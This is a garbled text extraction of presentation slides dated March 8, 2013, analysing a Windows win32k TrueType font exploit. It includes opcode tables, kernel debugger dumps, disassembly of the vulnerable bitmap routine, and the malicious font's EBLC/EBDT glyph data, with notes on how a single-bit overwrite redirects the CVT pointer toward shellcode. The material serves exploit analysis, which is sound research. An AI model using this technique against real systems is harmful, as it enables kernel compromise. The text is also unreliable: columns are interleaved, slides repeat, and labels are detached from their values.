pn-1, , arg1, p1 argn, pn, argn-1, pn-1, , arg1, p1 argn, pn, argn-1, pn-1, , arg1, p1 n n2, n1 (n1 * 64)/ n2 MINDEX[ ] 0x26 k ek Table 2 Instructions data MIRP[abcde] 0xE0 -taking 0xFF n, p from the interpreter stackMPPEM[ ] 0x4B ppem Instruction Opcode Pops Pushes MPS[ ] 0x4C pointSize AA[ ] 0x7F MSIRP[a] 0x3A - 0x3B pd, p -ABS[ ] ] 0x64 nn2, n1 |n|* n2)/64 MUL[ 0x63 (n1 ADD[ 0x60 n2, (n1 + n2) NEG[] ] 0x65 n n1 -n ALIGNPTS[ ] 0x27 p2, NEQ[ ] 0x55 e2, p1 e1 bNOT[ ] ] 0x5C e p2, ... , ploopvalue ( -not e ) ALIGNRP[ 0x3C p1, NROUND[ab] 0x6C - 0x6F e2, n1 e1 n2 AND[ ] 0x5A b ODD[] ] 0x56 bCALL[ 0x2B fe OR[ ] 0x5B bÈn CEILING[ ] 0x67 ne2, e1 POP[ ] ] 0x21 -ek CINDEX[ 0x25 ke RCVT[ ]] 0x45 location value CLEAR[ 0x22 all items on the stack RDTG[ ]] 0x7D -DEBUG[ 0x4F nROFF[ ] ], 0x7A DELTAC1[ 0x73 argn, cn, argn-1,cn-1, , arg1, c1 -- DELTAC2[ ] DELTAC3[ ] 2 of 4 DELTAP1[ ] DELTAP2[ ] DELTAP3[ ] DEPTH[ ] DIV[ ] 1 of 4 Friday, March 8, 2013 0x74 0x75 0x5D 0x71 0x72 0x24 0x62 argn, cn, argn-1,cn-1, , arg1, c1 argn, cn, argn-1,cn-1, , arg1, c1 argn, pn, argn-1, pn-1, , arg1, p1 argn, pn, argn-1, pn-1, , arg1, p1 argn, pn, argn-1, pn-1, , arg1, p1 n n2, n1 (n1 * 64)/ n2 Instruction Opcode ADD[ ] 0x60 SUB[ ] 0x61 DIV[ ] 0x62 MUL[ ] 0x63 ABS[ ] 0x64 NEG[ ] 0x65 FLOOR[ ] 0x66 etc. Friday, March 8, 2013 Instruction Opcode ADD[ ] 0x60 SUB[ ] 0x61 DIV[ ] 0x62 MUL[ ] 0x63 ABS[ ] 0x64 NEG[ ] 0x65 FLOOR[ ] 0x66 etc. Friday, March 8, 2013 All these functions start out like this Friday, March 8, 2013 And by ‘all’ I mean 190 of them. Friday, March 8, 2013 Must be a pointer to some kind of global TrueType VM state. Friday, March 8, 2013 And this must be some kind of error code. Friday, March 8, 2013 Especially since it’s always used like this Friday, March 8, 2013 Ditto on this one (201 references) Friday, March 8, 2013 This VM global only seems to be involved with CALL and LOOPCALL Friday, March 8, 2013 This VM global only seems to be involved with Relative Jumps Friday, March 8, 2013 This VM global only seems to be involved with Conditionals Friday, March 8, 2013 There is a debugging symbol for this one. I’m guessing “Graphics State”. Friday, March 8, 2013 There’s no corresponding “GlobalGS” symbol, except for in this function’s name. Friday, March 8, 2013 Getting on with it... Friday, March 8, 2013 So, this is the last spot that EBP points to when the shellcode runs Friday, March 8, 2013 Somewhere in itrp_Execute() is a CALL or JMP to the shellcode... Friday, March 8, 2013 This is the main loop of the opcode interpreter Friday, March 8, 2013 This is the opcode function jump table Friday, March 8, 2013 Many Hours Later... Friday, March 8, 2013 WCVTP[] Write Control Value Table in Pixel units Code Range Pops 0x44 v: value in pixels (F26Dot6) l: control value table location (uint32) Pushes Sets control value table entry Related instructions WCVTF[ ] Writes the value in pixels into the control value table location specified. Pops a value v and a control value table location l from the stack and puts that value in the specified location in the control value table. This instruction assumes the value taken from the stack is in pixels and not in FUnits. The value is written to the CVT table unchanged. The location l must be less than the number of storage locations specified in the 'maxp' table in the font file. Friday, March 8, 2013 WCVTP[] Write Control Value Table in Pixel units (32 bits) Code Range Pops 0x44 v: value in pixels (F26Dot6) l: control value table location (uint32) Pushes Sets control value table entry Related instructions WCVTF[ ] Writes the value in pixels into the control value table location specified. Pops a value v and a control value table location l from the stack and puts that value in the specified location in the control value table. This instruction assumes the value taken from the stack is in pixels and not in FUnits. The value is written to the CVT table unchanged. The location l must be less than the number of storage locations specified in the 'maxp' table in the font file. Friday, March 8, 2013 WCVTP[] Write Control Value Table in Pixel units Code Range Pops 0x44 v: value in pixels (F26Dot6) l: control value table location (uint32) Pushes Sets control value table entry Related instructions WCVTF[ ] Writes the value in pixels into the control value table location specified. Pops a value v and a control value table location l from the stack and puts that value in the specified location in the control value table. This instruction assumes the value taken from the stack is in pixels and not in FUnits. The value is written to the CVT table unchanged. The location l must be less than the number of storage locations specified in the 'maxp' table in the font file. Friday, March 8, 2013 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 e24820d8 00000064 e24820e8 00000006 00040000 00000001 e1c5d4b0 00000000 00040000 00002710 e2481efc 00000000 Friday, March 8, 2013 00040000 00000000 00989680 00000000 Pointer to Global Graphics State 00040000 00000000 00000000 (Likely called 00000000 00000000 00000040 00030009 00000080 00000001 “GlobalGS”) 00000040 00000001 e24bdbb3 00000000 bf85c269 e2481f80 0000000d 00000000 00000003 e2481f80 e2482318 00000000 00000 bf85c 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 e24820d8 00000064 e24820e8 00000006 00040000 00000001 e1c5d4b0 00000000 00040000 00002710 e2481efc 00000000 Friday, March 8, 2013 00040000 00000000 00989680 00000000 Pointer to TT Interpreter Stack 00040000 00000000 00000000 00000000 00000000 00000040 Base 00030009 00000080 00000001 00000040 00000001 e24bdbb3 00000000 bf85c269 e2481f80 0000000d 00000000 00000003 e2481f80 e2482318 00000000 00000 bf85c 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 e24820d8 00000064 e24820e8 00000006 00040000 00000001 e1c5d4b0 00000000 00040000 00002710 e2481efc 00000000 Friday, March 8, 2013 00040000 00000000 00989680 00000000 Pointer to “Storage 00040000 00000000 00000000 00000 Area” 00000000 00000000 00000040 bf85c 00030009 00000040 00000001 e24bdbb3 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 00000001 00000003 e2481f80 e2482318 00000000 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 e24820d8 00000064 e24820e8 00000006 00040000 00000001 e1c5d4b0 00000000 00040000 00002710 e2481efc 00000000 Friday, March 8, 2013 00040000 00000000 00989680 00000000 Pointer to “Control 00040000 00000000 00000000 00000 Value Table” 00000000 00000000 00000040 bf85c 00030009 00000040 00000001 e24bdbb3 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 00000001 00000003 e2481f80 e2482318 00000000 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 e24820d8 00000064 e24820e8 00000006 00040000 00000001 e1c5d4b0 00000000 00040000 00002710 e2481efc 00000000 Friday, March 8, 2013 00040000 00000000 00989680 00000000 Pixels per em 00000000 00000000 00040000 00000000 00030009 00000040 00000001 e24bdbb3 00000000 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 00000040 00000001 00000003 e2481f80 e2482318 00000000 00000 bf85c 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 e24820d8 00000064 e24820e8 00000006 00040000 00000001 e1c5d4b0 00000000 00040000 00002710 e2481efc 00000000 Friday, March 8, 2013 00040000 00000000 00989680 00000000 Point Size 00000000 00040000 00000000 00030009 00000040 00000001 e24bdbb3 00000000 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 00000000 00000040 00000001 00000003 e2481f80 e2482318 00000000 00000 bf85c 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 e24820d8 00000064 e24820e8 00000006 Friday, March 8, 2013 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 CVT Count 00040000 00000000 00989680 00000000 00040000 00000001 e1c5d4b0 00000000 00040000 00002710 e2481efc 00000000 00040000 00000000 00030009 00000040 00000001 e24bdbb3 00000000 00000000 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 00000000 00000040 00000001 00000003 e2481f80 e2482318 00000000 00000 bf85c 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 e24820d8 00000064 e24820e8 00000006 00040000 00000001 e1c5d4b0 00000000 00040000 00002710 e2481efc 00000000 X and Y scalars for “instructable” and “metric” things 00040000 00000000 00989680 00000000 End of Global Structure (I think) Friday, March 8, 2013 00040000 00000000 00030009 00000040 00000001 e24bdbb3 00000000 00000000 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 00000000 00000040 00000001 00000003 e2481f80 e2482318 00000000 00000 bf85c 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 But this is the important part! 00040000 00040000 00040000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 00000000 00000001 00002710 e24820d8 00000064 00989680 e1c5d4b0 e2481efc e24820e8 00000006 00000000 00000000 00000000 Friday, March 8, 2013 00040000 00000000 00030009 00000040 00000001 e24bdbb3 00000000 00000000 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 00000000 00000040 00000001 00000003 e2481f80 e2482318 00000000 00000 bf85c 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 But this is the important part! 00040000 00040000 00040000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 00000000 00000001 00002710 e24820d8 00000064 00989680 e1c5d4b0 e2481efc e24820e8 00000006 00000000 00000000 00000000 Because this is the location of the single bit overwrite by the exploit Friday, March 8, 2013 00040000 00000000 00030009 00000040 00000001 e24bdbb3 00000000 00000000 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 00000000 00000040 00000001 00000003 e2481f80 e2482318 00000000 00000 bf85c 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 00040000 00000000 00030009 00000040 00000001 e24bdbb3 00000000 00000000 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 00000000 00000040 00000001 00000003 e2481f80 e2482318 00000000 00000 bf85c 00000 00000 00000 0003b 00000 But this is the important part! 00040000 00040000 00040000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 00000000 00000001 00002710 e24820d8 00000064 00989680 e1c5d4b0 e2481efc e24820e8 00000006 00000000 00000000 00000000 Because this is the location of the single bit overwrite by the exploit Friday, March 8, 2013 It was originally 0x01, but now it’s 0x81 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 kd> dd /c8 e2481f84 e2481f84 e2481afc e2481f00 e2481fa4 00000000 00000044 e2481fc4 00000003 00000000 e2481fe4 00000000 00000000 e2482004 00000000 00000000 e2482024 00000000 bf85bd4b e2482044 00000000 00000000 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 e24820d8 00000064 e24820e8 00000006 00040000 00000001 e1c5d4b0 00000000 00040000 00002710 e2481efc 00000000 Friday, March 8, 2013 00040000 00000000 00989680 00000000 00040000 00000000 00030009 00000040 00000001 e24bdbb3 00000000 00000000 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 Normally the CVT is pointed to here. 00000000 00000040 00000001 00000003 e2481f80 e2482318 00000000 00000 bf85c 00000 00000 00000 0003b 00000 TSS: 00000028 -- (.tss 0x28) eax=e2481f84 ebx=e2481afc ecx=e2482084 edx=00000001 esi=e2481fe0 edi=013abb94 eip=e2482368 esp=b2077000 ebp=b207a9a0 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 e2482368 e8fbffffff call e2482368 e2481f80 e2481f84 e2481fa4 e2481fc4 e2481fe4 e2482004 e2482024 e2482044 It’s just before the Global State stuff in memory 00000000 e2481afc 00000000 00000003 00000000 00000000 00000000 00000000 e2481f00 00000044 00000000 00000000 00000000 bf85bd4b 00000000 e2481f80 00000000 00000000 00000000 00030009 bf85bd4b 00000000 00030004 00000000 00000000 00000000 00010080 e2482368 00000000 kd> d e2481f84+134 e24820b8 00000081 e24820c8 00040000 e24820d8 00000064 e24820e8 00000006 00040000 00000000 00989680 00000000 00040000 00000001 e1c5d4b0 00000000 00040000 00002710 e2481efc 00000000 Friday, March 8, 2013 00040000 00000000 00030009 00000040 00000001 e24bdbb3 00000000 00000000 00000000 00000080 bf85c269 e2481f80 0000000d 00000000 Normally the CVT is pointed to here. 00000000 00000040 00000001 00000003 e2481f80 e2482318 00000000 00000 bf85c 00000 00000 00000 0003b 00000 Vulnerable Code win32k!sfac_GetSbitBitmap+0x56: 953cdc49 8b553c 953cdc4c 33c9 953cdc4e 53 953cdc4f 8bd8 953cdc51 953cdc55 953cdc58 953cdc5c 953cdc5f 953cdc62 953cdc65 Friday, March 8, 2013 0fb74530 66890a 0fb74d2c 8b5534 0fafc8 8b4528 034d38 mov xor push mov edx,dword ptr [ebp+3Ch] ecx,ecx ebx ebx,eax ; ? movzx mov movzx mov imul mov add eax,word ptr [ebp+30h] ss:0010:95f3f2d0 = 0020 ; usDstRowBytes word ptr [edx],cx ; [ebp+3Ch] = 0 ecx,word ptr [ebp+2Ch] ss:0010:95f3f2cc = 0052 ; usYOffset edx,dword ptr [ebp+34h] ss:0010:95f3f2d4 = 0001 ; usBitDepth ecx,eax ; ecx=00000a40 eax,dword ptr [ebp+28h] ; usShaveTop ecx,dword ptr [ebp+38h] ; ecx=fe2740c4 ; pusCompCount + 0xb1 + 0xa40 ; == 0 EBLC tables and stuff • So, the “Dexter” font has only six characters defined in it, and four of them are zero by zero glyphs of zero length • The other two trigger the vulnerability, you need two, because it’s in the code that adjusts the distance between the two • So, the two characters are, and must appear in this order: :) Friday, March 8, 2013 'EBLC' Table - Embedded Bitmap Location Table --------------------------------------------Version: 2.0 Number of Sizes: 6 Strike 1 ========= Index Array Offset: Size of Index Tables: Number of Index Tables: Color Reference Offset: Horizontal Line Metrics Ascender: Descender: Max Width: Caret Numer: Caret Denom: Caret Offset: Min Orig SB: Min Adv SB: Max Befor BL: Max After BL: Vertical Line Metrics Ascender: Descender: Max Width: Caret Numer: Caret Denom: Caret Offset: Min Orig SB: Min Adv SB: Max Befor BL: Max After BL: End of Line Metrics Start Glyph Index: End Glyph Index: ppem X: ppem Y: Bit Depth: Flags: Friday, March 8, 2013 0x00000128 0x00000028 2 0x00000000 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 4 4 4 8 0x01 EBLC Index Sub Table 1 -----------------First Glyph Index: Last Glyph Index: Index Format: Image Format: Image Data Offset Base: Glyph: 3 Offset: Last Offset: 3 3 3 1 0x00000004 0x00000004 0x0000000a Index Sub Table 2 -----------------First Glyph Index: Last Glyph Index: Index Format: Image Format: Image Data Offset Base: Glyph: 4 Offset: Last Offset: 4 4 3 8 0x0000000a 0x0000000a 0x00000016 Strike 2 ========= Index Array Offset: Size of Index Tables: Number of Index Tables: Color Reference Offset: Horizontal Line Metrics Ascender: Descender: Max Width: Caret Numer: Caret Denom: Caret Offset: Min Orig SB: Min Adv SB: Max Befor BL: Max After BL: Vertical Line Metrics Ascender: Descender: Max Width: Caret Numer: Caret Denom: Caret Offset: Min Orig SB: So, if you could read this, you’d see that the first five characters point to the same place 0x00000128 0x00000028 2 0x00000000 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Strike 6 ========= Index Array Offset: Size of Index Tables: Number of Index Tables: Color Reference Offset: Horizontal Line Metrics Ascender: Descender: Max Width: Caret Numer: Caret Denom: Caret Offset: Min Orig SB: Min Adv SB: Max Befor BL: Max After BL: Vertical Line Metrics Ascender: Descender: Max Width: Caret Numer: Caret Denom: Caret Offset: Min Orig SB: Min Adv SB: Max Befor BL: Max After BL: End of Line Metrics Start Glyph Index: End Glyph Index: ppem X: ppem Y: Bit Depth: Flags: Friday, March 8, 2013 0x00000150 0x00000028 2 0x00000000 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 4 1 1 1 0x01 EBLC Index Sub Table 1 -----------------First Glyph Index: Last Glyph Index: Index Format: Image Format: Image Data Offset Base: Glyph: 3 Offset: Last Offset: 3 3 3 1 0x00000016 0x00000016 0x0000001c Index Sub Table 2 -----------------First Glyph Index: Last Glyph Index: Index Format: Image Format: Image Data Offset Base: Glyph: 4 Offset: Last Offset: 4 4 3 8 0x0000001c 0x0000001c 0x00000028 'EBDT' Table - Embedded Bitmap Data Table ----------------------------------------Version: 2.0 Strike 1 Size = 4 ---------------------Glyph 3 Metrics: Image: Glyph 4 Metrics: Component Glyph: Component[0]: H:01 W:01 X:00 80 H:01 W:ff X:00 numComponents: glyphCode = 3, EBDT Y:00 A:00 Y:00 A:00 1 xOffset = 72, yOffset = 10 Strike 3 Size = 6 ---------------------Strike 2 Size = 5 Glyph 3 Metrics: ---------------------Image: Glyph 3 Metrics: H:01 W:01 X:00 Y:00 A:00 Glyph 4 Metrics: Image: 80 Component Glyph: Glyph 4 Metrics: H:01 W:ff X:00 Y:00 A:00 Component[0]: Component Glyph: numComponents: 1 Component[0]: glyphCode = 3, xOffset = 72, yOffset = 10 Friday, March 8, 2013 H:01 W:01 X:00 80 H:01 W:ff X:00 numComponents: glyphCode = 3, Y:00 A:00 Strike 4 Size = 7 ---------------------Glyph 3 Metrics: Image: Glyph 4 Metrics: Component Glyph: Component[0]: H:01 W:01 X:00 80 H:01 W:ff X:00 numComponents: glyphCode = 3, Y:00 A:00 Strike 5 Size = 8 ---------------------Glyph 3 Metrics: Image: Glyph 4 Metrics: Component Glyph: H:01 W:01 X:00 Y:00 A:00 80 H:01 W:ff X:00 Y:00 A:00 numComponents: 1 Y:00 A:00 1 xOffset = 72, yOffset = 10 Y:00 A:00 1 xOffset = 72, yOffset = 10 Strike 5 Size = 8 ---------------------Glyph 3 Metrics: Image: Glyph 4 Metrics: Component Glyph: Component[0]: Strike 6 Size = 1 ---------------------Glyph 3 Metrics: Image: Glyph 4 Metrics: Component Glyph: Component[0]: EBDT H:01 W:01 X:00 80 H:01 W:ff X:00 numComponents: glyphCode = 3, Y:00 A:00 Y:00 A:00 1 xOffset = 72, yOffset = 10 This is the exploit H:01 W:01 X:00 80 H:01 W:ff X:00 numComponents: glyphCode = 3, Y:00 A:00 Y:00 A:00 1 xOffset = 64, yOffset = 82 A one by one pixel bitmap of 0x80 Friday, March 8, 2013 Strike 5 Size = 8 ---------------------Glyph 3 Metrics: Image: Glyph 4 Metrics: Component Glyph: Component[0]: Strike 6 Size = 1 ---------------------Glyph 3 Metrics: Image: Glyph 4 Metrics: Component Glyph: Component[0]: Friday, March 8, 2013 EBDT H:01 W:01 X:00 80 H:01 W:ff X:00 numComponents: glyphCode = 3, Y:00 A:00 Y:00 A:00 1 xOffset = 72, yOffset = 10 This controls where in memory H:01 W:01 X:00 80 H:01 W:ff X:00 numComponents: glyphCode = 3, Y:00 A:00 This getsY:00 OR’d A:00in memory 1 xOffset = 64, yOffset = 82 Exploit Implementation Friday, March 8, 2013 CVT e2481f80 00000000 CVT+4 = Global State kd> dd e2481f84 L100 e2481f84 e2481afc e2481f00 e2481f80 00030004 [CVT+4] = Stack Base e2481f94 00040000 00000000 00000000 00000000 e2481fa4 00000000 00000044 00000000 00000000 e2481fb4 00000000 00000000 00000040 bf85c269 e2481fc4 00000003 00000000 00000000 00000000 +0x90: auto_flip e2481fd4 00030009 00000080 00000001 00000044 e2481fe4 00000000 00000000 00000000 00000000 e2481ff4 00000040 bf85c269 00000003 00000000 e2482004 00000000 00000000 00030009 00010080 e2482014 00000001 e2481f80 e2481f80 00000000 e2482024 00000000 bf85bd4b bf85bd4b e2482368 e2482034 e24bdbb3 0000000d e2482318 0003b89b e2482044 00000000 00000000 00000000 00000000 e2482054 00000000 00000000 00000000 00000000 CVT+[4*0x25]= [CVT+0x94] = [Global State +0x90] e2482064 00002000 00000400 00000080 0000000a e2482074 00002000 00000400 00000080 0000000a e2482084 00002000State 00000400 00000080 0000000a CVT=Global -4 e2482094 00010000 00010000 00000001 00000000 e24820a4 00000000 00000200 00000000 00000001 e24820b4 e2481290 00000081 00040000 00040000 e24820c4 00040000 00040000 00000000 00000001 e24820d4 00002710 00000064 00989680 e1c5d4b0 Friday, March 8, 2013 e2481f80 00000000 CVT+4 = Global State kd> dd e2481f84 L100 00030004 CVT e2481f84 e2481afc e2481f00 e2481f80 [CVT+4] = Stack Base e2481f94 00040000 00000000 00000000 00000000 e2481fa4 00000000 00000044 00000000 00000000 e2481fb4 00000000 00000000 00000040 bf85c269 e2481fc4 00000003 00000000 00000000 00000000 +0x90: auto_flip e2481fd4 00030009 00000080 00000001 00000044 e2481fe4 00000000 00000000 00000000 00000000 e2481ff4 00000040 bf85c269 00000003 00000000 e2482004 00000000 00000000 00030009 00010080 e2482014 00000001 e2481f80 e2481f80 00000000 e2482024 00000000 bf85bd4b bf85bd4b e2482368 e2482034 e24bdbb3 0000000d e2482318 0003b89b e2482044 00000000 00000000 00000000 00000000 ; __fastcall itrp_FLIPON(x, x) e2482054 proc 00000000 00000000 ;00000000 @itrp_FLIPON@8 near CODE XREF: 00000000 itrp_InnerExecute(x,x)+2B^Xp itrp_InnerTraceExecute(x,x)+56^Yp e2482064 00002000 00000400 ;00000080 0000000a ; DATA XREF: ... e2482074 mov 00002000 00000400 00000080 0000000a eax, ecx e2482084 mov 00002000 00000080 0000000a ecx, 00000400 dword_BF9A9234 byte 00010000 ptr [ecx+90h], 1 e2482094 mov 00010000 00000001 00000000 retn e24820a4 00000000 00000200 00000000 00000001 @itrp_FLIPON@8 endp e24820b4 e2481290 00000081 00040000 00040000 e24820c4 00040000 00040000 00000000 00000001 e24820d4 00002710 00000064 00989680 e1c5d4b0 Friday, March 8, 2013 